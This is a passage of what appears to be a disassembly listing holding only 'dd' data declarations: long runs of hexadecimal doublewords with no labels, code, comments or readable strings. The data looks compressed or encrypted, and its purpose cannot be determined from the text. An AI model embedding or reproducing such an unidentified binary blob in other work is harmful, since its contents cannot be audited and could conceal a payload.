156800C0h, 1AD8071h dd 56003C92h, 0C2250747h, 28FDE5h, 4291BD73h, 7B35DCF6h dd 3798BC7Ch, 61A2840Eh, 5B41405Dh, 0E7623Dh, 66F703E0h dd 47CAB3D5h, 0F4DE5F05h, 0FC00AEBDh, 0F81F6D91h, 60340E64h dd 17A0F3A0h, 72CCDB30h, 67428F00h, 93820A2Dh, 0C31D0275h dd 0FDB6E728h, 0F880FD43h, 9400A865h, 1AC52654h, 0F22C9Ch dd 0D54E01EBh, 3A10987Bh, 0B806602h, 0C081B8FEh, 0E4A4BAh dd 1E36172Fh, 2D4316C1h, 0E6D76A00h, 0B17E61EFh, 0A8DEC7Bh dd 4C6B6993h, 0D63002C4h, 0D8A0C433h, 42740FE7h, 79B56C07h dd 72108C41h, 5253C6h, 20A701DDh, 45E4B743h, 0F35F1B1Eh dd 0C28D0FBBh, 7175E05Bh, 23D8196h, 49E6013h, 3840617Ah dd 0A002AE59h, 0CDBFD7E4h, 908FF786h, 0F0640012h, 1D924BF3h dd 0D267C107h, 0B4807261h, 1B6FD3h, 0D751ED22h, 0CFA6FBD0h dd 1DFCE63Ah, 23491AE7h, 1DB28064h, 716C7F93h, 85C600ECh dd 1B79330Bh, 0D2046F14h, 9BDA36F9h, 9D60C897h, 0E0EEECh dd 0AF909A92h, 4BE21371h, 0C187201h, 0BB265C42h, 4A0AE8h dd 35F58D1h, 750644BEh, 5D4EC70Ah, 1A07086Dh, 0C2006A20h dd 0F4812E8h, 0B03A193Ch, 3371B28Ch, 0DB004D7Bh, 420AA8Dh dd 140952h, 0BECE4A4Ch, 58969E64h, 0E9F05E7Ch, 0FE117667h dd 0DAC97080h, 5DBE0054h, 80C8EC32h, 4E001411h, 503081E8h dd 0F4995F5Ah, 221900B7h, 31870901h, 0C7283B38h, 9D0CD095h dd 50445A7Fh, 6EFC0019h, 63F46957h, 0DE007A89h, 3DAA4DC9h dd 0B05A0F43h, 0AE4200CEh, 94027174h, 5500DD0Ah, 0B227BDC1h dd 364C2C45h, 0A848137Fh, 3500317Eh, 0F008CD59h, 80555Eh dd 0A8899D94h, 6B3201AFh, 0D050F500h, 0C4162CCBh, 61E0F796h dd 1420007Bh, 8AB6F021h, 9E00591Fh, 1CFA073Ch, 0DA3D03h dd 627374BCh, 0D82D6985h, 0DF805602h, 829418C1h, 605D9AACh dd 423F89h, 3DABB5ACh, 0ACFFE20h, 2EDEF607h, 0A2B03957h dd 77648C53h, 0E46A0B4Dh, 2F00EC75h, 0CF806C55h, 0EA943Ch dd 2EDDAE0Bh, 30C2A9h, 0FEAAFFA4h, 8AA0581Ah, 79B5F226h dd 20E4803Eh, 2934173Dh, 0BDD300B3h, 0D6046158h, 1900E05Eh dd 8409F24Eh, 9B3473h, 6B938F24h, 3C47AA86h, 70E1251Eh dd 510D7480h, 4985D272h, 9E2B14B1h, 887C7E04h, 5FBBD623h dd 940552E0h, 59290598h, 38BAA442h, 5A304118h, 5B4010C6h dd 6E94002Fh, 23782CB1h, 0DD71F3D7h, 41C5C21Dh, 0B046DE47h dd 2135C853h, 6F081829h, 62399DDFh, 2203F922h, 55107BD4h dd 7521C351h, 4201A23Ch, 524476C0h, 15DC4411h, 445C0644h dd 28A1217Ah, 5F14410Dh, 8F081238h, 90650828h, 37908429h dd 814044Ah, 0E594476Ah, 0A0DE3F50h, 0A810EFADh, 8700174Dh dd 36C9A2AEh, 1D1A379Fh, 40A334B9h, 0E349B105h, 3300E692h dd 0B20667C7h, 28DBC5FBh, 0B008CED9h, 0D3EF1FC7h, 0F59F94h dd 7D89A21Ah, 50004514h, 54D92B25h, 0D88B63h, 2EADC168h dd 8683550Bh, 8EFDDC03h, 0E8B31589h, 0FA1B4Bh, 6C28339Ch dd 4F324031h, 0C766A700h, 3C41A278h, 98F17529h, 9DDB1237h dd 0A80040A4h, 3812322Ch, 0AB7E53Bh, 80E7C502h, 58217600h dd 7C5BBFh, 0F88A2B9Bh, 0FD5565F7h, 9F1B9701h, 0C3D140DDh dd 0EFC75887h, 31E10348h, 8D751000h, 76713CD2h, 0C8400326h dd 4AA7BD45h, 99D348D8h, 3726203h, 12BFC14Dh, 408674A8h dd 5044E554h, 1800EF29h, 98F5DDA1h, 770EBE2Bh, 0A9376096h dd 5CE9E379h, 95040801h, 559FA681h, 7A12C4h, 0DB5186EFh dd 9BF4022Dh, 96605D07h, 21A088BFh, 47D3C9h, 548AD411h dd 7D387549h, 53588E00h, 0DDEA3419h, 0A5953E31h, 6B16BA00h dd 0F6CACEAEh, 0D1190E0Eh, 92A760BDh, 0A4E995h, 80EFCF6Fh dd 0F69B7599h, 0BC91A300h, 6465BA04h, 0C40300BFh, 99A2FDEAh dd 73008F49h, 0F8591F2h, 0FEA463h, 770A9BAh, 0C5967CDBh dd 692EE800h, 3DC8BCA2h, 70D4A062h, 0DF910085h, 5F1005E7h dd 0A3008E68h, 9E0AEDD1h, 605A5Ch, 0AB3F2B1Dh, 9A3D8C34h dd 245D620Ah, 5B800831h, 0BC9D06CAh, 0D4ED2443h, 0B5B10038h dd 3025448Dh, 0A9C6BF1Dh, 0FD2A3280h, 0B7D615h, 117F17ABh dd 31225D04h, 1DD78D00h, 0F90F02A0h, 0CF1500F7h, 0DED242Ch dd 110F55ADh, 808EDBCDh, 0D518C559h, 890C4h, 0EDCF3EA3h dd 3FB4EF3Bh, 0D1B72106h, 2421F7CDh, 3648CC8h, 88F5228Ah dd 0F90019A6h, 0EF2156BFh, 4B63Dh, 0FE1BA4FDh, 770AD2CBh dd 0AC6BDF00h, 331497B8h, 7336245Ch, 4E4B016Ch, 0E465AA41h dd 0D20EE1ACh, 0F8AE1Ah, 0AFB91088h, 222F00FCh, 0A41464C7h dd 0FB030787h, 7566CD95h, 3BB29085h, 0CF4503A5h, 98BA1549h dd 9F5E2800h, 7CF6ECAEh, 74E900B3h, 690D0484h, 0F8C712DBh dd 0C1007F8Dh, 0AA4529h, 0B092E527h, 0FE5795F4h, 84CC511Eh dd 26BD1C80h, 2F4744A4h, 9A56CF49h, 0D62A2B00h, 7D3FD87h dd 0A89265B0h, 8BC1D0CAh, 2909A412h, 80D5E6E0h, 0C6FB9BD8h dd 50A60761h, 0D010FE6Fh, 7DD867F4h, 0EF84100h, 7E75F22Ch dd 65053B19h, 0E587FE00h, 5D167003h, 7F00EA73h, 669A4CD7h dd 6808B3h, 3BCFAC99h, 9DEF8D8Eh, 61D66300h, 47902B35h dd 56E71475h, 0E900C814h, 2FE5596Ah, 7000EB82h, 4376EEC5h dd 0D36225h, 0A556E9A9h, 5F0F93DAh, 58EBBE03h, 0C97F755Eh dd 2DD4A7C1h, 134FECCh, 57AE6A67h, 0DC87FC56h, 0A200F0D2h dd 79393590h, 277B0295h, 72544EB2h, 330F3A04h, 533B30C0h dd 0B60402E4h, 0A80F3C4h, 0BDF26CC8h, 76D2E61Ch, 3C03A9DEh dd 0C046094Bh, 869C06h, 683215CFh, 0BBDCEE7Ah, 26060376h dd 0FDBCEB0Fh, 398A0020h, 6BFC1C40h, 0B826945Dh, 0D6040FAEh dd 0D280455Fh, 1698BDh, 1D157F2Ch, 61517079h, 4159B8C0h dd 4D6A32h, 878BD25Bh, 0F28C2AA9h, 0F6E77A00h, 0A8E0CF81h dd 0DEF466h, 0EACD5130h, 0CCB97EA1h, 64908F77h, 0A4A53228h dd 5030CE60h, 59A1165Ch, 0EE3EDCF7h, 69D4FB03h, 80975BC2h dd 0A61790C0h, 11507101h, 21F76E56h, 81BA8844h, 0E04E616Dh dd 4A028D5Bh, 37FD9F96h, 57684029h, 8BD52AC0h, 0D38700F0h dd 551FF3Ch, 1501C406h, 7E3A62E6h, 0AEC09FE3h, 0B7E100DAh dd 0CF978B55h, 407642Dh, 548EC609h, 1ED0A690h, 5D313B9Ch dd 8956DB80h, 0C2233E6Dh dd 6722EB0Fh, 0CF0180B3h, 384A396h, 0A6702819h, 0AEA8A978h dd 5601B9ACh, 7ED9EDFFh, 4821FC91h, 0C3D4FDCh, 0B0033746h dd 49EA97A8h, 0E7F0A4EAh, 0FBC9E500h, 0F6B9B3F2h, 0BEF0070Ch dd 0BB15B286h, 0A7B3800h, 0D100BA6Dh, 8CF1F6D6h, 5802C684h dd 4200104Dh, 8597C294h, 2BFE2431h, 41E0B500h, 5F4E9BEAh dd 0B00Dh, 0CB991E2Fh, 0EE2269DEh, 97F71A0Ah, 7E05C8B8h dd 9C80070Ah, 9ACF06h, 0BF1D0C7Fh, 60A11CC9h, 2BFDE500h dd 5BC8AF51h, 0F30E07FEh, 3090572Dh, 0B3CE3DCDh, 529B9200h dd 508DEE01h, 13AEA17h, 8F6D144Fh, 8368D5FFh, 7A259F8h dd 0FBDDD0B6h, 0FC620053h, 63E47685h, 0F8004BB2h, 68071F3Ch dd 3070EC2Fh, 0F63893E2h, 66004326h, 0A91565A0h, 0E44173h dd 39D1CFD3h, 4FD2C608h, 0ACA1C1Ch, 157C4700h, 0C4AA2Ah dd 35955BD6h, 84433D61h, 0CEED4507h, 1700A32Eh, 88ADB9h dd 0A5F9210Dh, 0D0FA5A2Fh, 7F778600h, 10075803h, 1EC014E3h dd 7E00F0A8h, 0F9BDFA3Ah, 2F003769h, 0B406373h, 1CAC8203h dd 0C0722A2Dh, 3C23E9D3h, 20E5BD66h, 459F0BCh, 84642C7Ch dd 51120F80h, 1F8B6Eh, 9BE1D92Dh, 0AF2ABFAAh, 15D20C02h dd 0C2A3DD35h, 0DB080070h, 0B0A8749h, 816CC00Dh, 908F8009h dd 6DD2F02h, 95D4D4C8h, 0C69C4754h, 0AFBD600h, 8EDE8780h dd 9B030082h, 659A5632h, 0DF6AE01h, 6D3FBE07h, 64B00298h dd 0F9ADF6h, 0F272F7Bh, 15E34946h, 82704479h, 347A642Eh dd 594EEE80h, 4F39FBh, 66613099h, 43F241DBh, 17D25760h dd 70FFDA4h, 322F50D6h, 46EE50A8h, 200C719h, 662BDDDCh dd 125921C2h, 1F5B57Ch, 7FC0B668h, 94E7D0B7h, 0BBD21C00h dd 4C9CBDA1h, 6010045h, 2C14E034h, 6B0152AAh, 64E95408h dd 0F04076C2h, 0AFBBD93h, 23F94E35h, 3AA500DFh, 0B6B8D568h dd 41D02A00h, 31CFAFEBh, 1D0E050Bh, 0C0296BAAh, 7932A7A4h dd 0FA72B700h, 0DF7D8FC9h, 0B3BE1B2Fh, 0F3E02009h, 0BF07169Fh dd 5D658C91h, 0B9DA6BE0h, 30634C36h, 0C8549300h, 82CCE11Ch dd 0EE1800E1h, 514C48D8h, 69AB7101h, 0CCA20172h, 4A00F4C2h dd 53432275h, 0B064265Ah, 0E21B09C3h, 9881D1A2h, 0F8FE4FEFh dd 9216CC73h, 6C09F3DBh, 948B015Bh, 0AF4B9DDh, 4C3DFA5Eh dd 0EA009399h, 466F032h, 0D40039FEh, 609A2A82h, 136C0B6Eh dd 2A57C0Ch, 0A8E58F4Ch, 7B697CC0h, 0AE0014EEh, 71432D34h dd 3328AB4h, 9D2B39F7h, 7CE07307h, 5677AFA6h, 294D9500h dd 848BAA70h, 0E45D1CD1h, 6D3B4EC3h, 0D6143400h, 0B57248E1h dd 0B9C2B00h, 0CC085AC6h, 3DC948Bh, 0EE88A5FBh, 41C98097h dd 0AA0499A1h, 0DCE56AA3h, 7DBD69C0h, 0F4E103E6h, 0C11589B1h dd 0BC1D73C8h, 4106ACB8h, 0AFF489Ah, 7A780111h, 0B9A88ED2h dd 0DCCC30ACh, 14E1A301h, 90C3B8DFh, 6168CCh, 2517669Fh dd 7ED7FE4h, 1DB5A503h, 0D09086EFh, 5931Ch, 0F8E72E4Fh dd 0A76709C8h, 283074FCh, 0AD5A10F9h, 7BDE00B5h, 6E1413F1h dd 97745995h, 91D8A10Bh, 0FAB900EFh, 8AC4F7h, 33728853h dd 2A485845h, 89E52000h, 377B70F9h, 0D9BD0A52h, 0F42F25h dd 695A40A3h, 9600C8FFh, 1041D7F7h, 0FEF2716Ch, 777109h dd 1E974216h, 0B6483DADh, 9A03B4EAh, 8035B238h, 75DFF0CEh dd 680E08E2h, 13811070h, 414D64E6h, 0D13DDCh, 70DBA8Eh dd 8297DE11h, 0C39EF40Bh, 8D1F814Dh, 0E6F8B5FFh, 0C9D3005Ah dd 0BAC23BE2h, 660FE783h, 219E14E4h, 655914Ch, 75F89CF9h dd 8DEF120Ch, 0EAC41CDh, 0F8280DB1h, 4A03B34Dh, 508413DEh dd 18C1C555h, 40FEF29Dh, 26A3FA8h, 20B7FAFh, 38C0F632h dd 4D00AA39h, 1F799290h, 158B128Ah, 943AF534h, 0C9F4571Eh dd 44C8CBC3h, 0CDE2D8C2h, 5C007170h, 0C6E61821h, 0F808233h dd 0AB0355BEh, 1EC3140h, 9B004DD1h, 39E95D62h, 28F4C7F3h dd 0E8944F87h, 4DE802FDh, 279732FFh, 18F730E0h, 1E06B800h dd 0EEABD1A0h, 228A16BBh, 0AF580060h, 6F0FFE7Bh, 0AC2A1C0Ch dd 3EDF489Dh, 8DA667DEh, 328600C9h, 0B1D76B60h, 2A349100h dd 0A8833870h, 0A4E602F9h, 1513B8CFh, 9590E4C8h, 61A07800h dd 0E3AF0538h, 89DD0547h, 49CFA5h, 3291D6F6h, 52030B72h dd 14354D0Dh, 7A55E890h, 8C92009Dh, 0FF84D22Ah, 5900E9DFh dd 43C94F4Bh, 0EBE5B0h, 864E071h, 3825CB2Dh, 0F61E3898h dd 0B02A35C0h, 0A587C713h, 2A173501h, 0ABD81AA2h, 61DD0090h dd 0EBD0C5ACh, 450056B1h, 0C4295132h, 3DA81AB3h, 1803C3Eh dd 0ADD28BBCh, 833B2678h, 0B0772A34h, 9842D713h, 407A3843h dd 59B6D8F5h, 85BB0088h, 22CB4B0h, 94002DA7h, 0B7B9CFCCh dd 3A4A25h, 8462F89Ah, 0ECCB198Ch, 665A5601h, 9FA38911h dd 4A01F1F8h, 3A0016Eh, 308F2D57h, 0B1E2834h, 0C101B786h dd 9F17929h, 81B4DCh, 0FB87CE3Bh, 47F3751Bh, 0B6CB23Ah dd 3A5808h, 209EAC8Ch, 6AEA0087h, 887DED46h, 0AD00EB91h dd 0D7C1A30Ah, 39B8236h, 48CFBA80h, 21D0BB1Ah, 0A4070D28h dd 95CC3545h, 0EF19A210h, 1C71E0B4h, 645615E6h, 6AC8002Ch dd 0EADBC52Dh, 4CDFB500h, 0F26B2BACh, 0B76600D5h, 3488824Eh dd 9400538Ch, 5B8D90C5h, 0E8C302A4h, 0A20A3AACh, 61346E80h dd 820C98EAh, 9C244D00h, 2CEEC78Ch, 35300E8Eh, 90C037A3h dd 0F7D0B30Bh, 0F4269BA1h, 63007827h, 0DBA8877Fh, 0F235Eh dd 3D40AE68h, 9A8DE2E7h, 92003EFCh, 795F7320h, 1427DD24h dd 0B42CC717h, 0A6D80072h, 0CE304686h, 0C6043119h, 5A788454h dd 702FC282h, 0D61E17DCh, 47C2065h, 6B2D5025h, 0F11B407Dh dd 0C77A026Dh, 9E0867D3h, 2E1B1440h, 761D547Dh, 3B40480Dh dd 4EF3667Fh, 2DBB5CD5h, 20A5AB16h, 769D3244h, 2E839400h dd 34BFE90Eh, 67E885h, 7DDF3C64h, 0D5F34DECh, 3DA09E00h dd 8EFB1244h, 4072590Ah, 33CDD603h, 0D800F9A7h, 934AAFC9h dd 1F24CA3h, 219C1285h, 82FDFB08h, 0CA349720h, 0F2F4A01Dh dd 0E01802AAh, 0A4B807h, 2758609Ch, 41427506h, 4313F90Fh dd 2FEF406Bh, 0C10C6h, 0A88223DBh, 0E204B456h, 0F89F4731h dd 4CEC52C7h, 8EA005Fh, 0A43755DEh, 0F4010E4Bh, 0C5F99B88h dd 20206EBBh, 0D4D909DCh, 54407C21h, 0AB0731FFh, 0BEF109C7h dd 0C1BFE2F2h, 4DC0EB49h, 67AE1FE5h, 383589F9h, 3609420h dd 5761F3E6h, 0D92E1350h, 0C843AD8h, 5A4DEAF2h, 594FFE28h dd 480298ECh, 6330A3BFh, 0E6BD9490h, 0E497B600h, 0BE2440C2h dd 0C6A330BCh, 1C04A250h, 68AD7317h, 33B18C00h, 4029CB3h dd 0B75D4F3Ah, 91DCC076h, 41003003h, 0CF154878h, 8A3BA2h dd 0A1386636h, 0B3AB4451h, 908F7607h, 1B02EBh, 0A483CD50h dd 2E6902D3h, 8A896CBBh, 0B0D4E480h, 72FF3BADh, 0AF9B027Ch dd 0C03FA93Dh, 0CD1C07h, 776B0799h, 0DF8EF039h, 1698EF05h dd 8143A5Dh, 81433E3Ch, 0CBA93460h, 20E4A21Ah, 2E4AE1h dd 56742BB4h, 1600AE6Ah, 6EF384F5h, 765FE8h, 36CCC8F0h dd 0D5FE0ABFh, 4F001070h, 95E64EA7h, 264B9D15h, 40A91Dh dd 0D51835B1h, 9002117Dh, 5ADE2EE7h, 0BDBC806Ch, 0D4322Ch dd 2F240562h, 102343A2h, 58BEFF05h, 4080C2A6h, 7A092811h dd 2A0E2849h, 8A2F0FE0h, 0B8801E15h, 3C9EF8A1h, 0B0EEF000h dd 0D6AA33D5h, 0D1B6009Bh, 45FEFA76h, 70C15972h, 0CE9A3036h dd 0D209F4h, 4CBE3EB7h dd 0D01BD425h, 0C320A900h, 71FE2A86h, 0DED600F9h, 74410FFBh dd 8A0D7A2h, 0F402B23Bh, 9190D52Ah, 72C4E099h, 0A5FF00F0h dd 2C124BF1h, 7005051h, 0BA20BD1Dh, 0F75BD6h, 47988D76h dd 0DAC6A922h, 413CA600h, 3872FB4Fh, 0EFB865h, 9A21B61h dd 0EF279930h, 56289400h, 0B5FCECCDh, 0A1860031h, 6A6C022Dh dd 4702AB12h, 36457D14h, 7544C049h, 0AFE33B1Dh, 420FDE80h dd 0C278B0E9h, 8E105300h, 4FAEE115h, 0F1C30056h, 0A78D7A88h dd 691C9291h, 6584AC22h, 18C0BECFh, 3FAFE606h, 0E7009EBAh dd 0A5E00764h, 670080CCh, 8A6DB2F8h, 0C6D6D0h, 89F430A0h dd 79255A9Ah, 8A004F2h, 0BC097B23h, 0A9B7EE1h, 9C028C64h dd 60ACA915h, 19E3040h, 6B99BB37h, 605AA110h, 0A004B21h dd 0C7FF59DDh, 792287Dh, 0A4D12697h, 9181E03Bh, 5C004DF6h dd 0EE4F017Eh, 25724EBh, 3314841Ah, 0A0FA83FDh, 480330A4h dd 5BBF61D0h, 0C14FFF93h, 0C94CED1Fh, 3F4DC8D4h, 4A0086D8h dd 0A1C6BC95h, 0A200F1AAh, 0CD9B7650h, 0F2B278EEh, 0E6BE37FAh dd 1C600A58h, 549BC0F0h, 85CA499h, 0B109B3EAh, 0C1BD1353h dd 0EAFC3D50h, 0B3807D5h, 94A75C9Eh, 7B20C0FAh, 6F003037h dd 0EA910976h, 0A01DA8h, 8C4064BEh, 6B37A4A2h, 6FF86507h dd 0B3076CE0h, 0AA3E9F30h, 0AEA7004Bh, 8FE90A4Dh, 23E8CB02h dd 0D33C6090h, 0C76500B8h, 73B4954Ch, 5AE4F5h, 4A594DBEh dd 3E03981Eh, 92007873h, 0C915DB84h, 0CC2A96h, 0CD25DCABh dd 140EAFD5h, 84D40200h, 23B7EEBFh, 0EC95005Eh, 7A2B2A6Dh dd 6E1F570Fh, 4604B320h, 1C80C1D3h, 5B4232h, 0DAEDB27Fh dd 716C33FFh, 0BBA4F100h, 52796F0Ch, 2A7B1E5Fh, 5419D4Ch dd 0C1FA269Fh, 8E3AE9B5h, 40772811h, 0B5491DAh, 21C9029h dd 1AA421B8h, 70C0EC52h, 43848E2h, 2BC1C6Ah, 0F8319A00h dd 24DF87B0h, 1494C94Dh, 7102AC23h, 86522199h, 0A2800843h dd 3B266148h, 701083Ah, 60809313h, 2E231020h, 9F06E7Ah dd 6C8054A4h, 0A13CC75h, 8048392Fh, 0F47DAE9Ch, 85F009Eh dd 2927AA40h, 0AD038EC0h, 5D72A374h, 8976A194h, 709D4420h dd 0D46D00D0h, 195F4707h, 0C900F6D3h, 546EE560h, 1F785B43h dd 1CE26BD8h, 66A000F0h, 7C2F4875h, 0A377401Bh, 0CDE29810h dd 0AB05009Fh, 0F6A5CC97h, 80F15293h, 0B7170621h, 124FCE1h dd 0ECC4E0Bh, 0C491F2C4h, 4D008784h, 0B70D2147h, 3B0B12Ah dd 0B585FDA1h, 82E85AABh, 0D8003677h, 3CDEEA7Ah, 0EC664Bh dd 0BA9574DAh, 0E65EB4E7h, 0A64C6201h, 0E3F4BD23h, 2308B20h dd 0B617EC14h, 0C840799Bh, 6E00896Ah, 0CF81CB1Fh, 0EDBF6Ch dd 0ACD2DFF6h, 31A439D0h, 4B9BE800h, 370DBB1Ah, 0F8577E02h dd 42E90ECDh, 801D6E61h, 0F8453A93h, 970B76C2h, 0E05625EBh dd 6D4521Ch, 575BAE9h, 70B61A36h, 34678800h, 4824DDh, 97F27695h dd 1873B64Dh, 997D3B0Fh, 8B445h, 0EFA79F87h, 0D65CF8h dd 16281A77h, 0C70AD33Ch, 7D5D8000h, 0CDFA0239h, 3150074Ah dd 618C1B44h, 32AFEAC9h, 747E2600h, 800D030Bh, 0C1CB60C0h dd 8C800190h, 0C0CC3879h, 6A646062h, 0C478EF00h, 86F19352h dd 8E20148h, 5F14CEF3h, 0A3B460D5h, 0D6F22D00h, 0B91C94CAh dd 30E25859h, 4A8FEA00h, 53337296h, 0BD955A00h, 761093E7h dd 8772F9h, 0B5A52331h, 0BAFA4BA3h, 0DC0FB900h, 0EFAD19DDh dd 664602BDh, 51D30ABBh, 0C4214860h, 89BFE600h, 7FB193ACh dd 0EB6203EDh, 0C6F16955h, 0C97A46E1h, 0DCA7CC95h, 840FD77Eh dd 0E0CE22A2h, 0D65F639Ch, 0B4C70196h, 4198323Fh, 6878E8h dd 0A01A6188h, 9A351Ch, 4CF10FBDh, 11A73963h, 0B8821F00h dd 0B322FF70h, 8035076Fh, 500849BAh, 9C196B50h, 6677E00h dd 336D523Bh, 25970E0Eh, 0C3FE4138h, 0FA6E6950h, 7B586800h dd 0FDEF8573h, 46E705CFh, 919AF31Ah, 0E166E100h, 79F7F088h dd 1985FC31h, 2040C009h, 1DA4C7AFh, 0C85144h, 9431F340h dd 0F07C536Eh, 23BDD925h, 0E0FD7FA0h, 9645381Ah, 0E33B86C4h dd 0B80021D2h, 56FA9F27h, 247B4CADh, 9852Fh, 8EA1BBCFh dd 1CA0483Bh, 10E3EED9h, 1D4CCD42h, 0C956A02h, 0B1603E1Eh dd 23617C00h, 0AA0CFD7h, 0FFF900E4h, 0C9D4E1DEh, 0BE032C03h dd 2DC62545h, 0EDF7E804h, 0DDF03BDh, 0FE09E7C3h, 372403B8h dd 0ADAB6C06h, 717305h, 8F8C75BBh, 47B3F435h, 45F59D00h dd 0B9F0DBE0h, 48380C15h, 3EA836C5h, 27B2C700h, 9DA0E3A8h dd 38090064h, 37297D44h, 794B58DEh, 5F3B5CD0h, 32D70167h dd 700EC1E7h, 71BC7Dh, 0AF0A0C66h, 523F662h, 97BA8E42h dd 43CAC70Fh, 0D1CB4D1Ch, 2BC04900h, 0BF50817Ch, 38430735h dd 400F7E7Fh, 89C5235Fh, 0AC0033ECh, 53C744BAh, 0EAA30E6Ch dd 23B8ECh, 0E38B6179h, 6DE78646h, 59C0B17Dh, 96F57F82h dd 0F9CA0015h, 1941E72h, 0C3C500Bh, 8A709916h, 76D8E0B1h dd 97B11615h, 0A1750007h, 4C26E447h, 5BA1300h, 0B06AD6A0h dd 1CAE4DAh, 0E40753C5h, 0F3C93F3Ah, 9B1CA9F8h, 13E3B100h dd 8A532376h, 2EBE3B42h, 6738433Ah, 4C0FDC3Fh, 0ADC09F7Fh dd 935E8DBh, 0B8EC2A0Fh, 0B4794361h, 7390039h, 0D128B212h dd 0A219BF09h, 0FF086186h, 3D8C2180h, 93CC33B2h, 5BB11E00h dd 6DEAE41Ah, 6371002Fh, 0ED5E96CBh, 0BFF8B646h, 2D4380C1h dd 40BC892Eh, 7C342A0Fh, 0C087A340h, 1F3A0B4Ch, 0B12C30C3h dd 0F75ACFFh, 3F515B44h, 130BE5A1h, 0FC809D06h, 0BD3B2F40h dd 3B7DDE22h, 89006DA3h, 0A54923ADh, 0BA1F1930h, 0CE800E37h dd 4D4BEDD5h, 0DB58E8E0h, 480160A0h, 4FA4D657h, 18814B92h dd 0B6F0634h, 0DE2180BCh, 56384943h, 315FEC62h, 0C4087A39h dd 0FD208068h, 0DCCD493Ch, 0E9FF0052h, 9E25F71Eh, 0AE03E5F0h dd 0BC6AB5A8h, 8263977Ch, 2279015Dh, 0E8111304h, 0C393702Ah dd 3059E23Fh, 2C1D21BBh, 877313h, 1EC873FDh, 6FB5054Dh dd 0A876DE30h, 81C657h, 1B331D0Eh, 0EBD53B3Fh, 0F5D61E00h dd 0B58B6BB7h, 0C3EF0041h, 1BF85632h, 78007AFCh, 3F4FCCF1h dd 2747D5Ch, 196F7E5Dh, 85E0188Ah, 0CC25A486h, 1E68D855h dd 0C003259Bh, 699337E0h, 76004BAFh, 6E134EC3h, 756EEA5h dd 989EBF8Dh, 4797404Fh, 0A604C632h, 5E107E6h, 25635D81h dd 957BDCh, 64FCFB37h, 2DDD2256h, 0F2AC900h, 0D71F0146h dd 80FF3D87h, 0C2FDA800h, 3C5F75C6h, 1A683Ch, 7A66ADA6h dd 36DB09h, 0B3673EF5h, 615C6D59h, 7807A000h, 1565B5ECh dd 9DD90019h, 7B810E3Fh, 5702EEF4h, 0B5E576DBh, 0A01860E8h dd 0AE543AA7h, 4100E93Ch, 1ACA379Eh, 40184C84h, 0DD0897E2h dd 6F20C1A3h, 0DC7B3786h, 8F0053BBh, 44E3908Dh, 0B0782F54h dd 0F7550C8Fh, 6151B366h, 2292FF00h, 6EF8B63h, 0DAAE01F0h dd 0FAE47C76h, 0FC881A9h, 0F559115Ch, 49A03087h, 0B9EB30A4h dd 54339583h, 0B6DB0947h, 0CCA93920h, 0C5858780h, 3689EEAh dd 5AA32E13h, 3C551900h, 50245E5Bh, 0E8E8CD9h, 40E654E8h dd 292F10D8h, 0F87F5100h, 41A6431Fh, 39A400A8h, 77DD6A04h dd 0B019E73h, 0F525C916h, 7D02727Ch, 528604B5h, 10B1E7h dd 80C2EB54h, 7019294h, 0DB09AC7Eh, 8C4D78h, 53C2722h dd 83CA0080h, 7330ED7Bh, 0EE0033E7h, 0DDACE4Bh, 1F70A04h dd 6B3B02E1h, 0C0CA915Ah, 0D200ECE5h, 9DA4DCA9h, 5E68ADFh dd 5C493675h dd 452B80C2h, 990156EBh, 33BFB442h, 0C03FB5F5h, 0F0EA34AAh dd 801F1039h, 5208661Eh, 1F1DAACBh, 40D9EEF7h, 7DE0B36Dh dd 0BF00CD61h, 1F09346Bh, 1DE30301h, 0C065906Ch, 6D0F71D3h dd 6F03E449h, 92F78CAh, 0E2BF3E1h, 40C0F228h, 0EC92CB20h dd 0FB001FE9h, 29D85E70h, 0E39E9F8Bh, 38D7D8h, 0BC2FE258h dd 2F51EABh, 7201EA77h, 0FDA43C57h, 2E70BA20h, 0D21700A1h dd 0C6B60E58h, 0A2010D32h, 0DA77433Fh, 8BECB2A9h, 3AE30069h dd 0D325A6E9h, 3B0A2363h, 0CC7B7AEDh, 0A793600h, 537446Fh dd 0CB753032h, 0C266C031h, 0DE03F7CCh, 0FB204170h, 918CC8BCh dd 6990C0ADh, 920D2DC4h, 89840300h, 0D4DEA5C8h, 3B250938h dd 1821F91Ch, 704A4DBFh, 930008DEh, 86C96C61h, 5C6970h dd 208A2522h, 0A6E60E12h, 0E08B58CEh, 0AEAC9FC4h, 615300D8h dd 84EC3D7Ah, 0BB0065E7h, 0C6F9464Ch, 0F7393Fh, 0A6B015C0h dd 2AD63574h, 4057DF00h, 6D7D51FBh, 8D29029Eh, 0C837542Bh dd 5D468480h, 1817F29Fh, 43A96679h, 0FB1C2607h, 8BE520DEh dd 98C21D7Eh, 43550B11h, 3852B88Dh, 0F80AF84Bh, 600700D3h dd 0B09CEBAAh, 2000F383h, 9272F6C3h, 1F23F92Eh, 803C98B6h dd 0B7028C55h, 42679556h, 43B00880h, 70ABF4F0h, 506D1CD9h dd 0C79B0024h, 7C7E8312h, 0F7E5201Dh, 0D0AC8980h, 0EB8501h dd 9F1CB49Eh, 0C9DD7036h, 7F7C3A00h, 94605F5Ah, 0D9E8A1h dd 0D85DBC92h, 4083BAADh, 49004E98h, 4B4F5B04h, 95EF3Bh dd 0E9325FCBh, 2BA27D34h, 0EC0010E8h, 2FD8E093h, 5D1C9Eh dd 0D4190448h, 0C085AC8Bh, 4CFB5102h, 4009A7DFh, 0BC3EAFh dd 3975DE12h, 0E0187AB5h, 602A6E00h, 3F16B9CDh, 0DD90381h dd 92A2595Ch, 0AF1CD0BFh, 7400EDCAh, 9F7AF28Ah, 1E9020D1h dd 8FBF2452h, 0A52046D2h, 32253AAAh, 0D9006575h, 0D78D9A8Ch dd 5B9CF55h, 3EE1B4E3h, 0D48C00F7h, 1BD2FBC6h, 0A133E000h dd 0AA1CE999h, 0EFDD060Ch, 0E0BB15CCh, 8364683Eh, 0D4DA13BAh dd 87580062h, 8E1A4553h, 0F501CC14h, 0DD49F9B8h, 5A20566Eh dd 7E507BBh, 0B04D3D77h, 66BA1891h, 0F05C6F7Eh, 0E86E1865h dd 0EA921h, 401D1EDDh, 49D9366h, 0E02518CEh, 0CDC84357h dd 9572D8h, 0FE24AE69h, 0AAC5D43Ah, 62143300h, 78CC075Ah dd 0AD6D121Ch, 68AE0BCBh, 0AF409E0Fh, 42EC31E2h, 5CDC3000h dd 0F5C5E36Ch, 93B401C8h, 0FBEDFA4Fh, 0E051E818h, 0ECC74E0Eh dd 2985AC06h, 1A50060h, 0CD04224h, 7D24C978h, 3A48EEh dd 0EBB9B455h, 16488ABh, 